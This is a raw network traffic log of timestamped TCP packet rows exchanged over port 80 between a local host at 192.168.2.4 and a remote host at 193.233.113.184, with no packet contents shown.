Sep 24, 2024 21:30:11.839930058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.839962959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.840699911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.840732098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.840759039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.840766907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.840778112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.840817928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.840856075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.840899944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.840913057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.840948105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.840956926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.840986013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.840990067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.841028929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.919064045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.919118881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.919123888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.919152021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.919161081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.919195890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.919240952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.919274092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.919286966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.919316053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.919356108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.919405937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.919409037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.919459105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920126915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920159101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920185089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920192957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920201063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920228004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920243979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920274019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920311928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920345068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920361042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920377970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920392990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920408010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920432091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920440912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920460939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920485973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920506001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920552969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920630932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920663118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920680046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920696020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920706034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920730114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920747995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920764923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.920777082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.920811892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921421051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921472073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921474934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921510935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921519041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921550989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921634912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921669006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921693087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921701908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921716928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921737909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921753883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921771049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921780109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921821117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.921921015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921974897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.921986103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922008991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922019005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922050953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922120094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922171116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922173977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922209024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922220945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922244072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922255039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922278881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922292948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922322035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922419071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922452927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922476053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922487974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922493935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922537088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922584057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922617912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922635078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922652006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922662020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922683001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.922697067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.922728062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923459053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923487902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923511982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923522949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923530102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923557997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923572063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923593044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923599958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923644066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923695087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923727989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923744917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923760891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.923762083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923805952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.923985958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924019098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924041033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924055099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924105883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924114943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924114943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924158096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924158096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924192905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924205065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924228907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924232960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924279928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924889088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924948931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.924964905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.924995899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925009966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925030947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925040960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925079107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925117016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925149918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925175905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925195932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925228119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925261021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925276995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925303936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925465107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925493956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925518990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925551891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925595045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925652027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925659895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925693035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925713062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925729036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925735950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925765038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925779104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925801992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.925810099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.925846100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926176071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926227093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926228046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926261902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926273108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926305056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926315069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926348925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926362991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926383018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926392078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926429033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926455975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926505089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926511049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926543951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926558018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926575899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926584959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926609993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926626921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926650047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926677942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926734924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926744938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926769018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926801920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926803112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.926819086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.926852942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927521944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927578926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927588940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927624941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927640915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927676916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927681923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927711010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927725077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927747011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927762032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927782059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927793980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927834034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.927937984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927992105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.927994013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928025961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928036928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928071022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928112030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928143978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928158998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928175926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928179026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928212881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928225994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928248882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928262949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928296089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928316116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928348064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928364992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928381920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928392887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928416014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928433895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928467035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928479910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928530931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.928549051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928585052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.928631067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929289103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929322004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929343939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929356098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929363012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929400921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929425001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929456949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929475069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929491043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929506063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929528952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929541111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929563999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.929579973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.929599047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.007519007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.007580996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.007616043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.007651091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.007685900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.007710934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.007765055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.007774115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.007814884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.007838011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.007865906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.008918047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.008971930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.008982897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009006023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009017944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009046078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009134054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009167910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009188890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009202003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009210110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009237051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009252071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009270906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009283066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009320021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009393930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009428024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009450912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009464025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009464025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009511948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009530067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009574890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009582043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009614944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.009627104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.009661913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010107040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010160923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010165930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010194063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010205030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010241985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010312080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010344982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010363102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010377884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010390997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010426998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010446072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010479927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010494947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010530949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010560989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010591984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010617018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010634899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010684967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010718107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010731936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010751009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010762930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010787964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010802984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010838985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010912895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010946035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010970116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.010982990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.010993004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.011012077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.011033058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.011050940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.011061907 CEST	49730	80	192.168.2.4	193.233.113.184
